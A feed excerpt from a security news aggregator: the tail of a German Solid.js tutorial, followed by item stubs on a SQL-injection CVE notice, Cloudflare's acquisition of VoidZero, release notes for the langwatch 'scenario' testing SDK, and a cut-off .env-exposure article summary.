<p>Dieser Code entspricht unserer vorherigen Version – nur, dass er nun von der <code>ErrorBoundary</code>-Komponente umschlossen wird. Mit dieser können Sie einfach einen Teil der Benutzeroberfläche definieren, der angezeigt werden soll, wenn beim asynchronen Call etwas schiefläuft. Um das zu testen, können Sie einen Tippfehler in die Jokes-API einbauen.</p>



<h2 class="wp-block-heading">Event Handling in Solid</h2>



<p>Das Event Handling von Solid testen wir nun, indem wir die Pointe aus dem Inline Display entfernen, einen Mausklick auf das Setup erfassen und dann die Pointe in einer Warnmeldung anzeigen:</p>



<pre class="wp-block-code"><code><strong> handleSetupClick(joke.punchline)}
  style={{ cursor: 'pointer', color: 'blue', textDecoration: 'underline' }}
  title="Click to reveal punchline"
&gt;
  Setup: {joke.setup}
</strong></code></pre>



<p>Hier ist der Ereignis-Handler, der innerhalb der Komponentenfunktion definiert ist:</p>



<pre class="wp-block-code"><code>export default function JokerSimple() {
    const handleSetupClick = (punchline: string) =&gt; {
    alert(punchline);
  };
//...</code></pre>



<p>Wenn Sie nun auf die Setup-Zeile klicken, bewirkt die <code>onClick</code>-Eigenschaft, dass <code>handleSetupClick</code> ausgeführt wird. Diese ist als Template Expression (in geschweiften Klammern) und als anonyme Inline-Funktion definiert, die den Call an die simple <code>handleSetupClick</code>-Funktion weiterleitet. Diese öffnet wiederum einen Alert mit der Pointe. Letztgenannte wird aus dem Template übergeben, indem <code>joke.punchline</code> als Argument aufgerufen wird. Wenn Sie auf <code>"Wo hängen Programmierer gerne rum?"</code> klicken, erhalten Sie die Antwort: <code>"In der Foo Bar."</code> (dieser Witz ist so schlecht, dass er schon wieder gut ist).</p>



<h2 class="wp-block-heading">Eine reaktive Checkbox</h2>



<p>Stellen Sie sich nun vor, Sie möchten die Möglichkeit hinzufügen, zwischen der Anzeige von <a href="https://www.computerwoche.de/article/2777705/irre-quellcode-kommentare.html" target="_blank">Programmiererwitzen</a> und <a href="https://www.computerwoche.de/article/2602407/die-20-schaebigsten-microsoft-witze.html">allgemeinen Witzen</a> umzuschalten. Die Remote-API überprüft dazu, ob <code>"programming"</code> im vorletzten Part der URL (<code>…/jokes/programming/ten versus …/jokes/ten</code>) vorhanden ist oder nicht. Um den Benutzern zu ermöglichen, die Anzeige umzuschalten, fügen wir nun auf unserer Seite ein Kontrollkästchen hinzu. Dazu erstellen wir zuerst ein neues Signal namens <code>jokeType</code> – mit einem leeren String als Anfangswert:</p>



<pre class="wp-block-code"><code>const [jokeType, setJokeType] = createSignal("");</code></pre>



<p>Im nächsten Schritt fügen wir nun ein Checkbox-Element am Anfang des Haupt-Divs ein:</p>



<pre class="wp-block-code"><code>{setJokeType(jokeType()==''?'programming/':'')}}&gt; </code></pre>



<p>Die Attribute <code>checked</code> und <code>onInput</code> sind Solid-spezifisch. Um den Wert des <code>jokeType()</code>-Signal mit <code>"programming/"</code> zu vergleichen, nutzt das <code>checked</code>-Attribut einen Token,. Mit anderen Worten: Das Kästchen ist angehakt, wenn der Wert von <code>jokeType</code> <code>„programming/“</code> ist. In diesem Beispiel nutzen wir einen String für das Kontrollkästchen anstelle eines <a href="https://www.computerwoche.de/article/3993887/5-boolean-tipps-fur-entwickler.html" target="_blank">Booleschen Werts</a>, weil <code>createResource</code> keine Reactive Update für falsche Werte auslöst. Das <code>onInput</code>-Attribut verarbeitet den Input Event für die Checkbox. Wird es ausgelöst, ändern wir den Wert von <code>jokeType</code> so, dass er zwischen einem leeren String und <code>"programming/"</code> wechselt. Diesen sich verändernden Wert verwenden wir in der Joke-Fetcher-URL.</p>



<h2 class="wp-block-heading">Signal &amp; Ressource kombinieren</h2>



<p>Im letzten Schritt kombinieren wir nun das neue Signal und die Ressource. Hierbei handelt es sich um eine Form der Derived Reactivity, bei der die Ressource den State des Signals überwacht und sich entsprechend aktualisiert. Anschließend werden die Teile der App, die die Ressource überwachen, nacheinander aktualisiert. Zusätzlich zu dem Promise, das den Fetching-Job übernimmt, akzeptiert <code>createResource</code> ein <a href="https://docs.solid.com/reference/basic-reactivity/create-resource" target="_blank" rel="noreferrer noopener">Quellsignal</a> als erstes Argument. Das erleichtert es, sie für unseren Use Case miteinander zu verketten:</p>



<pre class="wp-block-code"><code>const [jokes] = createResource(jokeType, fetchJokes);</code></pre>



<p>Wenn sich nun der Wert von <code>jokeType</code> ändert, aktualisiert die <code>jokes()</code>-Ressource auch die Elemente, die von ihr abhängig sind. Die Joke-Fetcher-Funktion erhält ebenfalls das Ergebnis des Quellsignals:</p>



<pre class="wp-block-code"><code>const fetchJokes = async (jokeType) =&gt; {
  return (await fetch(`https://official-joke-api.appspot.com/jokes/${jokeType}ten`)).json();
}</code></pre>



<p>Zu beachten ist dabei, dass das Signal <code>jokeType</code> eine direkte Variable im Argument von <code>fetchJokes</code> ist (das Ergebnis der Auflösung des <code>jokeType</code>-Promise). Die <code>fetch</code>-URL nutzt den Wert von <code>jokeType</code>. Wenn das Signal über das Kontrollkästchen geändert wird, erkennt Solid das und ruft die Liste der Witze automatisch erneut ab – mit der aktualisierten URL. (fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2271109/hands-on-with-the-solid-javascript-framework.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-10437 | Eksagate Webpack Management System up to 20251119 sql injection]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Eksagate Webpack Management System up to 20251119. This issue affects some unknown processing. Such manipulation leads to sql injection. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerabili...]]></description>
<link>https://tsecurity.de/de/3577726/sicherheitsluecken/cve-2025-10437-eksagate-webpack-management-system-up-to-20251119-sql-injection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3577726/sicherheitsluecken/cve-2025-10437-eksagate-webpack-management-system-up-to-20251119-sql-injection/</guid>
<pubDate>Sat, 06 Jun 2026 14:53:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/eksagate:webpack_management_system">Eksagate Webpack Management System up to 20251119</a>. This issue affects some unknown processing. Such manipulation leads to sql injection. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2025-10437">CVE-2025-10437</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare snaps up VoidZero to expand AI-native developer tools]]></title>
<description><![CDATA[The deal brings the team behind Vite into Cloudflare as the vendor looks to streamline AI-driven application development and deployment]]></description>
<link>https://tsecurity.de/de/3575293/it-security-nachrichten/cloudflare-snaps-up-voidzero-to-expand-ai-native-developer-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575293/it-security-nachrichten/cloudflare-snaps-up-voidzero-to-expand-ai-native-developer-tools/</guid>
<pubDate>Fri, 05 Jun 2026 14:07:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The deal brings the team behind Vite into Cloudflare as the vendor looks to streamline AI-driven application development and deployment]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare acquires Vite-maker Voidzero for an AI-native web]]></title>
<description><![CDATA[Cloudflare says agentic traffic has taken over human traffic for the first time in internet history. 
Read more: Cloudflare acquires Vite-maker Voidzero for an AI-native web]]></description>
<link>https://tsecurity.de/de/3574692/it-nachrichten/cloudflare-acquires-vite-maker-voidzero-for-an-ai-native-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3574692/it-nachrichten/cloudflare-acquires-vite-maker-voidzero-for-an-ai-native-web/</guid>
<pubDate>Fri, 05 Jun 2026 09:47:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cloudflare says agentic traffic has taken over human traffic for the first time in internet history. </p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/business/cloudflare-acquires-vite-maker-voidzero-for-an-ai-native-web">Cloudflare acquires Vite-maker Voidzero for an AI-native web</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.4.12]]></title>
<description><![CDATA[0.4.12 (2026-06-04)
Features

#318: add context param to JudgmentRequest for extra judge evaluation input (#554) (1947824)
add GOAT strategy with dynamic technique selection for RedTeamAgent (#346) (2896c97)
ci/#364: add pr-auto-approve.yml as passive observer (PR #1 of 4) (#485) (4d84597)
red-te...]]></description>
<link>https://tsecurity.de/de/3573199/it-security-tools/javascript-v0412/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573199/it-security-tools/javascript-v0412/</guid>
<pubDate>Thu, 04 Jun 2026 18:03:52 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.4.11...javascript/v0.4.12">0.4.12</a> (2026-06-04)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207387710" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/318" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/318/hovercard" href="https://github.com/langwatch/scenario/issues/318">#318</a>:</strong> add context param to JudgmentRequest for extra judge evaluation input (<a href="https://github.com/langwatch/scenario/issues/554" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/554/hovercard">#554</a>) (<a href="https://github.com/langwatch/scenario/commit/1947824f179da1176664a843039ba8bd64e7a5fe">1947824</a>)</li>
<li>add GOAT strategy with dynamic technique selection for RedTeamAgent (<a href="https://github.com/langwatch/scenario/issues/346" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/346/hovercard">#346</a>) (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
<li><strong>ci/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276120003" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/364" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/364/hovercard" href="https://github.com/langwatch/scenario/issues/364">#364</a>:</strong> add pr-auto-approve.yml as passive observer (PR <a href="https://github.com/langwatch/scenario/issues/1" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/1/hovercard">#1</a> of 4) (<a href="https://github.com/langwatch/scenario/issues/485" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/485/hovercard">#485</a>) (<a href="https://github.com/langwatch/scenario/commit/4d8459710e566ac90ad731164a4506f6d81365eb">4d84597</a>)</li>
<li><strong>red-team:</strong> zero-friction report dashboard — auto-save + <code>scenario redteam-report</code> CLI (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
<li><strong>test/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495811003" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/516" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/516/hovercard" href="https://github.com/langwatch/scenario/issues/516">#516</a>:</strong> bind PR <a href="https://github.com/langwatch/scenario/issues/511" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/511/hovercard">#511</a> voice scenarios via vitest-cucumber (retrofit PR-A) (<a href="https://github.com/langwatch/scenario/issues/517" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/517/hovercard">#517</a>) (<a href="https://github.com/langwatch/scenario/commit/c247f42d4f8a1bfe5d4f4e86a55bd0ba32d4d650">c247f42</a>)</li>
<li><strong>typescript-sdk/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4295246091" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/372" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/372/hovercard" href="https://github.com/langwatch/scenario/issues/372">#372</a>:</strong> voice agent contract surface (types only, PR1 of N) (<a href="https://github.com/langwatch/scenario/issues/511" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/511/hovercard">#511</a>) (<a href="https://github.com/langwatch/scenario/commit/9216d35071bba29ba065f4b188d7c8199c34777f">9216d35</a>)</li>
<li><strong>typescript-sdk:</strong> voice agent testing — consolidated clean stack (<a href="https://github.com/langwatch/scenario/issues/561" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/561/hovercard">#561</a>) (<a href="https://github.com/langwatch/scenario/commit/5847c4b40f76edefeca810ba40708db281b70821">5847c4b</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong>deps:</strong> bump fast-uri to &gt;=3.1.2 for high severity CVEs (<a href="https://github.com/langwatch/scenario/issues/450" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/450/hovercard">#450</a>) (<a href="https://github.com/langwatch/scenario/commit/474ab6503a044d4c80f30dd6bdf712988becd636">474ab65</a>)</li>
<li><strong>deps:</strong> bump fast-uri to &gt;=3.1.2 to resolve high severity vulnerabilities (<a href="https://github.com/langwatch/scenario/commit/474ab6503a044d4c80f30dd6bdf712988becd636">474ab65</a>)</li>
<li><strong>deps:</strong> bump liquidjs override to &gt;=10.26.0 to close RCE/ReDoS alerts (<a href="https://github.com/langwatch/scenario/issues/591" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/591/hovercard">#591</a>) (<a href="https://github.com/langwatch/scenario/commit/daaf9ccfc4f89609518094a9a390eaaa89972fc3">daaf9cc</a>)</li>
<li><strong>deps:</strong> bump protobufjs to &gt;=7.5.6/&gt;=8.0.2 for high severity CVEs (<a href="https://github.com/langwatch/scenario/issues/463" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/463/hovercard">#463</a>) (<a href="https://github.com/langwatch/scenario/commit/f008161c8f45192a0290f0ebb884cc830de855bd">f008161</a>)</li>
<li><strong>deps:</strong> bump protobufjs to &gt;=8.0.2 for 4 high severity CVEs (<a href="https://github.com/langwatch/scenario/issues/462" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/462/hovercard">#462</a>) (<a href="https://github.com/langwatch/scenario/commit/e2c04991e352a777a1adc9e7719c6b69ceab682b">e2c0499</a>)</li>
<li><strong>deps:</strong> override hono to &gt;=4.12.18 for JWT NumericDate validation CVE (<a href="https://github.com/langwatch/scenario/issues/477" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/477/hovercard">#477</a>) (<a href="https://github.com/langwatch/scenario/commit/d81ff1ac031d3a4b62cfc28d5acd7e265cde4395">d81ff1a</a>)</li>
<li><strong>deps:</strong> override langsmith to &gt;=0.6.0 for CVE fix (<a href="https://github.com/langwatch/scenario/issues/471" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/471/hovercard">#471</a>) (<a href="https://github.com/langwatch/scenario/commit/4e5237ef3b966e9341ffe635454b938adea7e3ab">4e5237e</a>)</li>
<li><strong>deps:</strong> override langsmith to &gt;=0.6.0 for prompt deserialization CVEs (<a href="https://github.com/langwatch/scenario/commit/4e5237ef3b966e9341ffe635454b938adea7e3ab">4e5237e</a>)</li>
<li><strong>deps:</strong> override minimatch to &gt;=9.0.6 (<a title="CVE-2026-26996" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-3ppc-4f35-3m26/hovercard" href="https://github.com/advisories/GHSA-3ppc-4f35-3m26">CVE-2026-26996</a>) (<a href="https://github.com/langwatch/scenario/issues/395" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/395/hovercard">#395</a>) (<a href="https://github.com/langwatch/scenario/commit/ceb0b59e6a96fe27adf865f03aa1de8a9ea03357">ceb0b59</a>)</li>
<li><strong>deps:</strong> override qs to &gt;=6.14.2 for arrayLimit bypass DoS CVE (<a href="https://github.com/langwatch/scenario/issues/482" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/482/hovercard">#482</a>) (<a href="https://github.com/langwatch/scenario/commit/51a2b6daaf5c243154c3c61b8ffeaafd368d5628">51a2b6d</a>)</li>
<li><strong>deps:</strong> resolve 4 high-severity Dependabot security alerts (<a href="https://github.com/langwatch/scenario/issues/393" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/393/hovercard">#393</a>) (<a href="https://github.com/langwatch/scenario/commit/97f257ddc30a6bd7a9cca65e2e62e0ed0c688085">97f257d</a>)</li>
<li><strong>examples:</strong> stabilize custom LLM judge criteria matching (<a href="https://github.com/langwatch/scenario/issues/396" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/396/hovercard">#396</a>) (<a href="https://github.com/langwatch/scenario/commit/f4b536cf12a6d525b487c672f9451390e13957c7">f4b536c</a>)</li>
<li><strong>examples:</strong> use positional index matching in custom judge examples (<a href="https://github.com/langwatch/scenario/commit/f4b536cf12a6d525b487c672f9451390e13957c7">f4b536c</a>)</li>
<li><strong>judge:</strong> harden forceVerdict so discovery tools cannot leak (JS + Python) (<a href="https://github.com/langwatch/scenario/issues/377" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/377/hovercard">#377</a>) (<a href="https://github.com/langwatch/scenario/commit/0e2859f5ec1c171fa3d3d6f89b7d59555be6b95b">0e2859f</a>)</li>
<li><strong>red-team:</strong> annotate H_attacker when post-hoc injection fires (<a href="https://github.com/langwatch/scenario/issues/326" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/326/hovercard">#326</a>, <a href="https://github.com/langwatch/scenario/issues/334" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/334/hovercard">#334</a>) (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
<li><strong>security:</strong> bump liquidjs override to fix memoryLimit bypass, memory amplification, and DoS CVEs (<a href="https://github.com/langwatch/scenario/commit/25ba99ddf5bcfdc903ef59dd59e1606d8417f20c">25ba99d</a>)</li>
<li><strong>security:</strong> bump liquidjs to fix 4 additional high-severity CVEs (<a href="https://github.com/langwatch/scenario/issues/412" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/412/hovercard">#412</a>) (<a href="https://github.com/langwatch/scenario/commit/25ba99ddf5bcfdc903ef59dd59e1606d8417f20c">25ba99d</a>)</li>
<li><strong>security:</strong> delete orphaned vitest lockfile recreated during rebase (<a href="https://github.com/langwatch/scenario/commit/ea8a19cfdd1ff02ae3c9f7839d17ad5bf9346a5d">ea8a19c</a>)</li>
<li><strong>security:</strong> delete orphaned vitest lockfile to fix 8 Dependabot alerts (<a href="https://github.com/langwatch/scenario/issues/426" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/426/hovercard">#426</a>) (<a href="https://github.com/langwatch/scenario/commit/ea8a19cfdd1ff02ae3c9f7839d17ad5bf9346a5d">ea8a19c</a>)</li>
<li><strong>security:</strong> patch @modelcontextprotocol/sdk ReDoS, DNS rebinding, and data leak (<a href="https://github.com/langwatch/scenario/issues/410" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/410/hovercard">#410</a>) (<a href="https://github.com/langwatch/scenario/commit/b9930668175f8adbeb0941d721fa45b171c24810">b993066</a>)</li>
<li><strong>security:</strong> patch @modelcontextprotocol/sdk ReDoS, DNS rebinding, and data leak CVEs (<a href="https://github.com/langwatch/scenario/commit/b9930668175f8adbeb0941d721fa45b171c24810">b993066</a>)</li>
<li><strong>security:</strong> patch critical CVEs in protobufjs and handlebars (<a href="https://github.com/langwatch/scenario/issues/390" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/390/hovercard">#390</a>) (<a href="https://github.com/langwatch/scenario/commit/de89d5017cf27dd3c060bdafe920ed0168eff831">de89d50</a>)</li>
<li><strong>security:</strong> patch critical vulnerabilities in protobufjs and handlebars (<a href="https://github.com/langwatch/scenario/commit/de89d5017cf27dd3c060bdafe920ed0168eff831">de89d50</a>)</li>
<li><strong>security:</strong> patch <a title="CVE-2026-27903" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-7r86-cg39-jmmj/hovercard" href="https://github.com/advisories/GHSA-7r86-cg39-jmmj">CVE-2026-27903</a> in minimatch (<a href="https://github.com/langwatch/scenario/issues/398" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/398/hovercard">#398</a>) (<a href="https://github.com/langwatch/scenario/commit/b61cc6005645b7703788c02c6cb4d134559e339b">b61cc60</a>)</li>
<li><strong>security:</strong> patch flatted prototype pollution via parse() (<a href="https://github.com/langwatch/scenario/issues/421" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/421/hovercard">#421</a>) (<a href="https://github.com/langwatch/scenario/commit/3a20e6c57bb81583144cb643d3fcac390f66af3b">3a20e6c</a>)</li>
<li><strong>security:</strong> patch langchain serialization injection vulnerability (<a href="https://github.com/langwatch/scenario/issues/420" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/420/hovercard">#420</a>) (<a href="https://github.com/langwatch/scenario/commit/89dd0947dd660bb8aefe243c803841b65cbb67a1">89dd094</a>)</li>
<li><strong>security:</strong> patch path-to-regexp DoS in openai-realtime-demo (<a href="https://github.com/langwatch/scenario/commit/c6e55b06ba4bcdfa7640fffae9f086d3a871245c">c6e55b0</a>)</li>
<li><strong>security:</strong> patch path-to-regexp DoS in openai-realtime-demo (<a title="CVE-2026-4926" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-j3q9-mxjg-w52f/hovercard" href="https://github.com/advisories/GHSA-j3q9-mxjg-w52f">CVE-2026-4926</a>) (<a href="https://github.com/langwatch/scenario/issues/428" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/428/hovercard">#428</a>) (<a href="https://github.com/langwatch/scenario/commit/c6e55b06ba4bcdfa7640fffae9f086d3a871245c">c6e55b0</a>)</li>
<li><strong>security:</strong> patch path-to-regexp DoS via sequential optional groups (<a href="https://github.com/langwatch/scenario/issues/416" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/416/hovercard">#416</a>) (<a href="https://github.com/langwatch/scenario/commit/752539a738993f3b03085cda54b04792a036f17d">752539a</a>)</li>
<li><strong>security:</strong> patch rollup arbitrary file write via path traversal (<a href="https://github.com/langwatch/scenario/issues/399" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/399/hovercard">#399</a>) (<a href="https://github.com/langwatch/scenario/commit/55a02598ad8d245dfac159357b17c8d89192b824">55a0259</a>)</li>
<li><strong>security:</strong> patch rollup path traversal CVE (&gt;= 4.0.0, &lt; 4.59.0) (<a href="https://github.com/langwatch/scenario/commit/55a02598ad8d245dfac159357b17c8d89192b824">55a0259</a>)</li>
<li><strong>security:</strong> patch trim-newlines uncontrolled resource consumption (<a href="https://github.com/langwatch/scenario/issues/415" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/415/hovercard">#415</a>) (<a href="https://github.com/langwatch/scenario/commit/1c507c35364a229ba72b80b380a6f5fac46431b7">1c507c3</a>)</li>
<li><strong>security:</strong> patch vite server.fs.deny bypass and WebSocket file read CVEs (<a href="https://github.com/langwatch/scenario/issues/419" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/419/hovercard">#419</a>) (<a href="https://github.com/langwatch/scenario/commit/7bb7af95445a4b80a1daf6a4bfa9866099c2fc50">7bb7af9</a>)</li>
<li><strong>security:</strong> upgrade picomatch, @hono/node-server, and glob to fix CVEs (<a href="https://github.com/langwatch/scenario/issues/394" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/394/hovercard">#394</a>) (<a href="https://github.com/langwatch/scenario/commit/4395e52f765895a8c58def12086cb09e179e8a18">4395e52</a>)</li>
</ul>
<h3>Miscellaneous</h3>
<ul>
<li><strong>deps:</strong> bump @ungap/structured-clone past 1.3.1 (CWE-502) (<a href="https://github.com/langwatch/scenario/issues/544" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/544/hovercard">#544</a>) (<a href="https://github.com/langwatch/scenario/commit/f716e46b7f7f62ab61f5f99a761ea566985e891f">f716e46</a>)</li>
<li><strong>deps:</strong> bump pnpm/action-setup from 2.4.1 to 5.0.0 (<a href="https://github.com/langwatch/scenario/issues/300" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/300/hovercard">#300</a>) (<a href="https://github.com/langwatch/scenario/commit/053cc3a7cb192f725fe2c64beddeb996493c122d">053cc3a</a>)</li>
<li><strong>deps:</strong> remove unused nanoid-cli devDep from vitest examples (<a href="https://github.com/langwatch/scenario/issues/422" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/422/hovercard">#422</a>) (<a href="https://github.com/langwatch/scenario/commit/d4a40a5871239ee5440bb007cb5a32e9eab5df0e">d4a40a5</a>)</li>
<li>main-side cleanup — docs + spec + python/TS parity (<a href="https://github.com/langwatch/scenario/issues/586" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/586/hovercard">#586</a>) (<a href="https://github.com/langwatch/scenario/commit/371f94cd20998004398fa19d663254cb9aace8d8">371f94c</a>)</li>
<li><strong>tests:</strong> remove flaky 10-turn travel-planning example test (<a href="https://github.com/langwatch/scenario/issues/423" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/423/hovercard">#423</a>) (<a href="https://github.com/langwatch/scenario/commit/bbe86de991124e9cfe64d103c107795f9ff0ae3c">bbe86de</a>)</li>
<li><strong>tests:</strong> remove flaky live-LLM travel-agent example test (<a href="https://github.com/langwatch/scenario/commit/ac911ff2da99de1ae0f8341e6702cb96c448db54">ac911ff</a>)</li>
<li><strong>tests:</strong> remove flaky travel-agent example test (<a href="https://github.com/langwatch/scenario/issues/425" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/425/hovercard">#425</a>) (<a href="https://github.com/langwatch/scenario/commit/ac911ff2da99de1ae0f8341e6702cb96c448db54">ac911ff</a>)</li>
<li><strong>tests:</strong> remove no-op example tests + audit notes (<a href="https://github.com/langwatch/scenario/issues/424" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/424/hovercard">#424</a>) (<a href="https://github.com/langwatch/scenario/commit/947f219344e9beb6267f8a6d43e9b01717284da2">947f219</a>)</li>
<li><strong>tests:</strong> remove no-op example tests that always pass or are skipped (<a href="https://github.com/langwatch/scenario/commit/947f219344e9beb6267f8a6d43e9b01717284da2">947f219</a>)</li>
</ul>
<h3>Code Refactoring</h3>
<ul>
<li><strong>test/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496905027" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/522" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/522/hovercard" href="https://github.com/langwatch/scenario/issues/522">#522</a>:</strong> move instanceof assertions from Given to Then in voice contract surface (<a href="https://github.com/langwatch/scenario/issues/559" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/559/hovercard">#559</a>) (<a href="https://github.com/langwatch/scenario/commit/c8cca4ecafb0ebfb10d2d39b36ac2fe28443a376">c8cca4e</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare übernimmt VoidZero – Team hinter Vite wechselt komplett]]></title>
<description><![CDATA[Cloudflare übernimmt VoidZero und damit das Team hinter Vite, Vitest und Co. Die Werkzeuge sollen quelloffen und herstellerneutral bleiben.]]></description>
<link>https://tsecurity.de/de/3573117/it-nachrichten/cloudflare-uebernimmt-voidzero-team-hinter-vite-wechselt-komplett/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573117/it-nachrichten/cloudflare-uebernimmt-voidzero-team-hinter-vite-wechselt-komplett/</guid>
<pubDate>Thu, 04 Jun 2026 17:32:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cloudflare übernimmt VoidZero und damit das Team hinter Vite, Vitest und Co. Die Werkzeuge sollen quelloffen und herstellerneutral bleiben.]]></content:encoded>
</item>
<item>
<title><![CDATA[Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation]]></title>
<description><![CDATA[The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.For bug bounty ...]]></description>
<link>https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</guid>
<pubDate>Thu, 04 Jun 2026 10:21:43 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
